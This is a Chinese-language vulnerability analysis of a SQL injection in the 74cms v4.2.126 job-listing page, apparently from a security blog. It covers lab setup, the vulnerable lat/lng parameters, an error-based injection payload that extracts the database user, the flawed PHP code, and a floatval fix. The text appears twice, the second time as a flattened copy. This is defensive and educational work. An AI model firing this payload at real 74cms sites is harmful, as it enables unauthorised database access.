某 cms v4.2.126-通杀sql注入
字数 1129 2025-08-29 08:31:35

74cms v4.2.126 SQL注入漏洞分析与利用

0x00 漏洞概述

74cms v4.2.126版本存在SQL注入漏洞,该漏洞位于职位列表功能中,由于对用户输入的经纬度参数(lat/lng)未进行充分过滤,导致攻击者可以构造恶意SQL语句进行注入攻击。

0x01 环境搭建

1. 下载安装

2. 升级到最新版

  1. 进入后台检查版本
  2. 如果不是最新版,点击升级
  3. 本地环境可能遇到"域名不合法升级失败"错误,解决方法:
    • 修改文件:74cms\upload\Application\Admin\Controller\ApplyController.class.php
    • 查找所有$_SERVER['HTTP_HOST']改为http://baidu.com

0x02 测试数据准备

1. 注册商家账号

  1. 后台注册商家用户
  2. 登录前台商家账号
  3. 设置商家信息:http://74cms.test/index.php?m=&c=company&a=com_info
  4. 发布职位:http://74cms.test/index.php?m=&c=Company&a=jobs_add

2. 注册普通用户账号

  1. 前台注册普通用户(需要短信验证)
  2. 登录普通用户账号

0x03 漏洞利用

1. 漏洞URL

http://74cms.test/index.php?m=&c=jobs&a=jobs_list&lat=23.176465&range=20&lng=113.35038'

2. 参数说明

  • lat: 纬度(不超过1)
  • lng: 经度(不超过1)
  • range: 范围

3. Payload示例

http://74cms.test/index.php?m=&c=jobs&a=jobs_list&lat=23.176465&range=20&lng=113.35038* PI() / 180 - map_x PI() / 180) / 2),2))) 1000) AS map_range FROM qs_jobs_search j WHERE (extractvalue (1,concat(0x7e,(SELECT USER()), 0x7e))) -- a

0x04 漏洞分析

1. 请求路由

  • M(模块): home (由DEFAULT_MODULE参数决定)
  • C(控制器): jobs
  • A(方法): jobs_list

2. 漏洞位置

  • 视图文件: 74cms\upload\Application\Home\View\default\Jobs\jobs_list.html
  • 标签库驱动文件: 74cms\upload\Application\Common\qscmstag\jobs_listTag.class.php

3. 漏洞成因

  1. 用户可控的latlng参数直接赋值给$this->params
  2. 这些参数未经充分过滤就用于SQL查询的field字段
  3. 最终构造的SQL语句中直接拼接了用户输入

4. 关键代码

$this->field = "id,ROUND(6378.138*2*ASIN(SQRT(POW(SIN((".$this->params['lat']."*PI()/180-map_y*PI()/180)/2),2)+COS(".$this->params['lat']."*PI()/180)*COS(map_y*PI()/180)*POW(SIN((".$this->params['lng']."*PI()/180-map_x*PI()/180)/2),2)))*1000) AS map_range";

0x05 修复方案

将用户输入强制转换为浮点型:

$this->field = "id,ROUND(6378.138*2*ASIN(SQRT(POW(SIN((".floatval($this->params['lat'])."*PI()/180-map_y*PI()/180)/2),2)+COS(".floatval($this->params['lat'])."*PI()/180)*COS(map_y*PI()/180)*POW(SIN((".floatval($this->params['lng'])."*PI()/180-map_x*PI()/180)/2),2)))*1000) AS map_range";

0x06 总结

该漏洞利用了74cms在计算地理位置距离时对用户输入处理不当的问题,通过构造恶意的经纬度参数实现SQL注入。修复方案是对所有用户输入进行强制类型转换,确保其只能作为数值使用。

74cms v4.2.126 SQL注入漏洞分析与利用 0x00 漏洞概述 74cms v4.2.126版本存在SQL注入漏洞,该漏洞位于职位列表功能中,由于对用户输入的经纬度参数(lat/lng)未进行充分过滤,导致攻击者可以构造恶意SQL语句进行注入攻击。 0x01 环境搭建 1. 下载安装 下载地址: http://www.74cms.com/download/index.html 安装骑士人才系统基础版 2. 升级到最新版 进入后台检查版本 如果不是最新版,点击升级 本地环境可能遇到"域名不合法升级失败"错误,解决方法: 修改文件: 74cms\upload\Application\Admin\Controller\ApplyController.class.php 查找所有 $_SERVER['HTTP_HOST'] 改为 http://baidu.com 0x02 测试数据准备 1. 注册商家账号 后台注册商家用户 登录前台商家账号 设置商家信息: http://74cms.test/index.php?m=&c=company&a=com_info 发布职位: http://74cms.test/index.php?m=&c=Company&a=jobs_add 2. 注册普通用户账号 前台注册普通用户(需要短信验证) 登录普通用户账号 0x03 漏洞利用 1. 漏洞URL 2. 参数说明 lat : 纬度(不超过1) lng : 经度(不超过1) range : 范围 3. Payload示例 0x04 漏洞分析 1. 请求路由 M(模块): home (由 DEFAULT_MODULE 参数决定) C(控制器): jobs A(方法): jobs_ list 2. 漏洞位置 视图文件: 74cms\upload\Application\Home\View\default\Jobs\jobs_list.html 标签库驱动文件: 74cms\upload\Application\Common\qscmstag\jobs_listTag.class.php 3. 漏洞成因 用户可控的 lat 和 lng 参数直接赋值给 $this->params 这些参数未经充分过滤就用于SQL查询的 field 字段 最终构造的SQL语句中直接拼接了用户输入 4. 关键代码 0x05 修复方案 将用户输入强制转换为浮点型: 0x06 总结 该漏洞利用了74cms在计算地理位置距离时对用户输入处理不当的问题,通过构造恶意的经纬度参数实现SQL注入。修复方案是对所有用户输入进行强制类型转换,确保其只能作为数值使用。